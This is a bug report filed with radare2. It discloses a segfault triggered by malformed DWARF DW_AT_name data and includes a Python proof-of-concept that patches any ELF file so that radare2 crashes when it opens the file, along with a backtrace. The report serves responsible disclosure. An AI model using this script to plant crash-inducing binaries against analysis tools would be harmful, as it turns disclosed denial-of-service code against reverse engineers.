| Questions | Answers
|------------------------------------------------------|--------------------
| OS/arch/bits (mandatory) | 5.6.16-1-Manjaro x86_64, Kubuntu x86 32
| File format of the file you reverse (mandatory) | ELF
| Architecture/bits of the file (mandatory) | x86/32, x86/64
| r2 -v full output, not truncated (mandatory) | radare2 4.6.0-git 25006 @ linux-x86-64 git.4.4.0-481-geac93216e
commit: eac93216ecb0819dd05264e44347b2bbb931e7d9 build: 2020-07-26__21:25:02
radare2 ./test_crash opens the file in radare2 and displays the r2 shell to the user.
$ r2 test_crash
Segmentation fault (core dumped)
We, Architect (@CitadelArcho) and me, discovered this bug and dug a bit into it.
It is caused by malformed DWARF information (DW_AT_name), in the .debug_info section.
So we wrote a small PoC script which turns any ELF into a binary which makes radare2 crash.
#!/usr/bin/python3
from elftools.elf.elffile import ELFFile
from elftools.elf.enums import ENUM_E_MACHINE
import sys
import struct
import argparse
import os
import base64
# trigger a segfault in radare2 by modifing a DW_FORM_strp (a reference to a string in the dwarf debug format) (modify the shift in DW_AT_name)
# bug found by S01den and Architect (with custom fuzzing)
def build_parser():
parser = argparse.ArgumentParser(description="Trigger a segfault in radare2 by modifing a DW_FORM_strp in .debug_info")
parser.add_argument("-f", "--file",
type=str, default="main",
help="select the file to patch")
return parser
print("__________ _____ ________ _____ _________ .__ ")
print("\______ \_______ ____ _____/ ____\ \_____ \_/ ____\ \_ ___ \____________ _____| |__ ")
print("| ___/\_ __ \/ _ \ / _ \ __\ / | \ __\ / \ \/\_ __ \__ \ / ___/ | \ ")
print("| | | | \( <_> | <_> ) | / | \ | \ \____| | \// __ \_\___ \| Y \ ")
print("|____| |__| \____/ \____/|__| \_______ /__| \______ /|__| (____ /____ >___| / ")
print(" \/ \/ \/ \/ \/ ")
args = build_parser().parse_args()
if(len(sys.argv) < 2):
print("Command: ./unRadare2.py -f file_to_patch")
exit()
filename = args.file
found = 0
file = open(filename,"rb")
binary = bytearray(file.read())
elffile = ELFFile(file)
offset_section_table = elffile.header.e_shoff
nbr_entries_section_table = elffile.header.e_shnum
for section in elffile.iter_sections():
if(section.name == ".debug_info"):
print("[*] .debug_info section f0und at %s!" % hex(section['sh_offset']))
found = 1
break
if(found):
offset_dbg = section['sh_offset']
binary[offset_dbg+0x31] = 0xff
new_filename = filename+"_PoC"
new_file = open(new_filename,"wb")
new_file.write(binary)
new_file.close()
print("[*] ELF patched ! ----> "+new_filename)
else:
comment_section = 0
shstrtab_section = 0
print("[!] No .debug_info section f0und :(")
print("[*] So let's add it !")
bin_abbrev = base64.b64decode("AREBJQ4TCwMOGw4RARIHEBcAAAIWAAMOOgs7C0kTAAADJAALCz4LAw4AAAQkAAsLPgsDCAAABQ8ACwsAAAYPAA==")
bin_info = base64.b64decode("OAAAAAQAAAAAAAgBowAAAATXDQAAhxcAAM0OQAAAAAAAYCAAAAAAAAAAAAAAAjAAAAAD1DgAAAADCAcyFQAAAwEI")
open("tmp_info", "wb").write(bin_info)
open("tmp_abbrev", "wb").write(bin_abbrev)
cmd_1 = "objcopy --add-section .debug_info=tmp_info "+args.file
cmd_2 = "objcopy --add-section .debug_abbrev=tmp_abbrev "+args.file
os.system(cmd_1)
os.system(cmd_2)
os.remove("tmp_info")
os.remove("tmp_abbrev")
print("[*] ELF patched ! ----> "+filename)
file.close()

@HoundThe please take a look.
Here is the backtrace btw:
#0 0x00007ffff7dba4b5 in __strlen_avx2 () from /usr/lib/libc.so.6
#1 0x00007ffff7ce7233 in strdup () from /usr/lib/libc.so.6
#2 0x00007ffff62ad42b in parse_typedef (anal=0x5555555768b0, all_dies=0x555555681f90, count=0x3, idx=0x1) at type_dwarf.c:657
#3 0x00007ffff62ad7ae in parse_type_entry (anal=0x5555555768b0, all_dies=0x555555681f90, count=0x3, idx=0x1) at type_dwarf.c:759
#4 0x00007ffff62ad8ac in r_anal_parse_dwarf_types (anal=0x5555555768b0, info=0x5555556aa0c0) at type_dwarf.c:785
#5 0x00007ffff6cf340f in bin_dwarf (core=0x7ffff5d13010, mode=0x2) at cbin.c:1041
#6 0x00007ffff6cff41d in r_core_bin_info (core=0x7ffff5d13010, action=0x504fff, mode=0x2, va=0x1, filter=0x0, chksum=0x0) at cbin.c:4150
#7 0x00007ffff6cf0332 in r_core_bin_set_env (r=0x7ffff5d13010, binfile=0x5555556d7b80) at cbin.c:345
#8 0x00007ffff6cb6729 in r_core_file_do_load_for_io_plugin (r=0x7ffff5d13010, baseaddr=0xffffffffffffffff, loadaddr=0x0) at cfile.c:441
#9 0x00007ffff6cb709f in r_core_bin_load (r=0x7ffff5d13010, filenameuri=0x5555556d8020 "dwarftest", baddr=0xffffffffffffffff) at cfile.c:651
#10 0x00007ffff7e3d71a in r_main_radare2 (argc=0x2, argv=0x7fffffffdfb8) at radare2.c:1113
#11 0x0000555555555426 in main (argc=0x2, argv=0x7fffffffdfb8) at radare2.c:96
#12 0x00007ffff7c7f002 in __libc_start_main () from /usr/lib/libc.so.6
#13 0x00005555555550fe in _start ()
Cool, thanks for the nice report!
You're welcome :D
Most helpful comment
You're welcome :D